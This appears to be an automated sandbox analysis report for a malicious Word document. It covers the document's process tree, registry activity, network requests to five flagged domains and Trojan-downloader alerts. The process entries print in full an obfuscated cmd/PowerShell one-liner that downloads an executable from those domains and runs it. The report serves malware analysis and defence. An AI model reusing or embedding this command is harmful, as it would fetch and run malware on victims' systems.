File name:

47df8e11aae0fd049dbcde0bc19450c593b35765c639c2fdca46f68c76bbd2fe_EXpC4xnP3c.bin.gz

Full analysis: https://app.any.run/tasks/731c066c-2108-4f27-8e99-e61e930a5346
Verdict: Malicious activity
Threats:

Ransomware is a type of malicious software that locks users out of their system or data using different methods to force them to pay a ransom. Most often, such programs encrypt files on an infected machine and demand a fee to be paid in exchange for the decryption key. Additionally, such programs can be used to steal sensitive information from the compromised computer and even conduct DDoS attacks against affected organizations to pressure them into paying.

Analysis date: January 18, 2019, 11:34:44
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ransomware
Indicators:
MIME: application/gzip
File info: gzip compressed data, max compression, from Unix
MD5:

DF969249C8E9E1D58F26907043DD73D9

SHA1:

336A3CEB5EEEF6529BF08283EC8A79A28C539350

SHA256:

F53D9729612E8A3DF715772312DE5A10E1A579BD15D55D1BBF7CCD72026B545D

SSDEEP:

1536:WyNmjKh4q57lzenyUST/aA/BZ8xSJPXQDD7r3EMUTyN88vN4bK+JptQcG9pr8yIh:Wgrh4q5uyUUZ/33i/CTy1EnJptY9pbS/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 3264)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3264)
  • SUSPICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 2824)
    • Creates files in the user directory

      • powershell.exe (PID: 3416)
  • INFO

    • Dropped object may contain Bitcoin addresses

      • WinRAR.exe (PID: 3052)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3264)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 3264)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.z/gz/gzip | GZipped data (100)

EXIF

ZIP

Compression: Deflated
Flags: (none)
ModifyDate: 0000:00:00 00:00:00
ExtraFlags: Maximum Compression
OperatingSystem: Unix
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
4
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs winword.exe no specs cmd.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2824c:\crossplatformn67\SASlu36\Analystu71\..\..\..\windows\system32\cmd.exe /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Designerkf39='AIru62';$granularw63=new-object Net.WebClient;$strategyj29='http://bouresmau-gsf.com/ZhPZMfOo@http://demos.technoexam.com/C1CpwolKHv@http://livingdivineprinciple.org/xTV5cGLcz2@http://uttechsystem.com/ZzO90Kh@http://antidisciplinary.org/QvzhhXf'.Split('@');$CheckingAccountzo60='circuitwf76';$Avonc68 = '929';$Oregonhi28='redundantq39';$BarbadosDollarbc53=$env:public+'\'+$Avonc68+'.exe';foreach($definitionul69 in $strategyj29){try{$granularw63.DownloadFile($definitionul69, $BarbadosDollarbc53);$copyn77='Dataf11';If ((Get-Item $BarbadosDollarbc53).length -ge 80000) {Invoke-Item $BarbadosDollarbc53;$drivernz97='GBu18';break;}}catch{}}$Highwayn87='Unbrandedj75';c:\windows\system32\cmd.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3052"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\47df8e11aae0fd049dbcde0bc19450c593b35765c639c2fdca46f68c76bbd2fe_EXpC4xnP3c.bin.gz.z"C:\Program Files\WinRAR\WinRAR.exeexplorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
3264"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\47df8e11aae0fd049dbcde0bc19450c593b35765c639c2fdca46f68c76bbd2fe_EXpC4xnP3c.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3416powershell $Designerkf39='AIru62';$granularw63=new-object Net.WebClient;$strategyj29='http://bouresmau-gsf.com/ZhPZMfOo@http://demos.technoexam.com/C1CpwolKHv@http://livingdivineprinciple.org/xTV5cGLcz2@http://uttechsystem.com/ZzO90Kh@http://antidisciplinary.org/QvzhhXf'.Split('@');$CheckingAccountzo60='circuitwf76';$Avonc68 = '929';$Oregonhi28='redundantq39';$BarbadosDollarbc53=$env:public+'\'+$Avonc68+'.exe';foreach($definitionul69 in $strategyj29){try{$granularw63.DownloadFile($definitionul69, $BarbadosDollarbc53);$copyn77='Dataf11';If ((Get-Item $BarbadosDollarbc53).length -ge 80000) {Invoke-Item $BarbadosDollarbc53;$drivernz97='GBu18';break;}}catch{}}$Highwayn87='Unbrandedj75';C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
1 201
Read events
1 081
Write events
114
Delete events
6

Modification events

(PID) Process:(3052) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(3052) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(3052) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3052) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\47df8e11aae0fd049dbcde0bc19450c593b35765c639c2fdca46f68c76bbd2fe_EXpC4xnP3c.bin.gz.z
(PID) Process:(3052) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(3052) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(3052) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(3052) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(3264) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:,=1
Value:
2C3D3100C00C0000010000000000000000000000
(PID) Process:(3264) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
Executable files
0
Suspicious files
2
Text files
3
Unknown types
4

Dropped files

PID
Process
Filename
Type
3264WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRC92C.tmp.cvr
MD5:
SHA256:
3264WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D858B23E.jpg
MD5:
SHA256:
3416powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VAAZ9T4GU61ESZ94425B.temp
MD5:
SHA256:
3264WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:
SHA256:
3264WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\47df8e11aae0fd049dbcde0bc19450c593b35765c639c2fdca46f68c76bbd2fe_EXpC4xnP3c.doc.LNKlnk
MD5:
SHA256:
3264WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:
SHA256:
3264WINWORD.EXEC:\Users\admin\Desktop\~$df8e11aae0fd049dbcde0bc19450c593b35765c639c2fdca46f68c76bbd2fe_EXpC4xnP3c.docpgc
MD5:
SHA256:
3416powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:
SHA256:
3416powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF24d2c2.TMPbinary
MD5:
SHA256:
3052WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3052.31495\47df8e11aae0fd049dbcde0bc19450c593b35765c639c2fdca46f68c76bbd2fe_EXpC4xnP3c.bin.gzxml
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
5
DNS requests
5
Threats
10

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3416
powershell.exe
GET
404
108.167.146.36:80
http://demos.technoexam.com/C1CpwolKHv
US
xml
345 b
malicious
3416
powershell.exe
GET
404
192.254.185.2:80
http://livingdivineprinciple.org/xTV5cGLcz2
US
xml
345 b
malicious
3416
powershell.exe
GET
404
27.254.86.9:80
http://uttechsystem.com/ZzO90Kh
TH
xml
345 b
malicious
3416
powershell.exe
GET
404
85.17.254.22:80
http://antidisciplinary.org/QvzhhXf
NL
xml
345 b
malicious
3416
powershell.exe
GET
404
87.98.154.146:80
http://bouresmau-gsf.com/ZhPZMfOo
FR
xml
345 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3416
powershell.exe
108.167.146.36:80
demos.technoexam.com
CyrusOne LLC
US
malicious
3416
powershell.exe
27.254.86.9:80
uttechsystem.com
CS LOXINFO Public Company Limited.
TH
malicious
3416
powershell.exe
192.254.185.2:80
livingdivineprinciple.org
Unified Layer
US
malicious
3416
powershell.exe
85.17.254.22:80
antidisciplinary.org
LeaseWeb Netherlands B.V.
NL
malicious
3416
powershell.exe
87.98.154.146:80
bouresmau-gsf.com
OVH SAS
FR
malicious

DNS requests

Domain
IP
Reputation
bouresmau-gsf.com
  • 87.98.154.146
malicious
demos.technoexam.com
  • 108.167.146.36
malicious
livingdivineprinciple.org
  • 192.254.185.2
malicious
uttechsystem.com
  • 27.254.86.9
malicious
antidisciplinary.org
  • 85.17.254.22
malicious

Threats

PID
Process
Class
Message
3416
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
3416
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
3416
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
3416
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
3416
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
3416
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
3416
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
3416
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
3416
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
3416
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
No debug info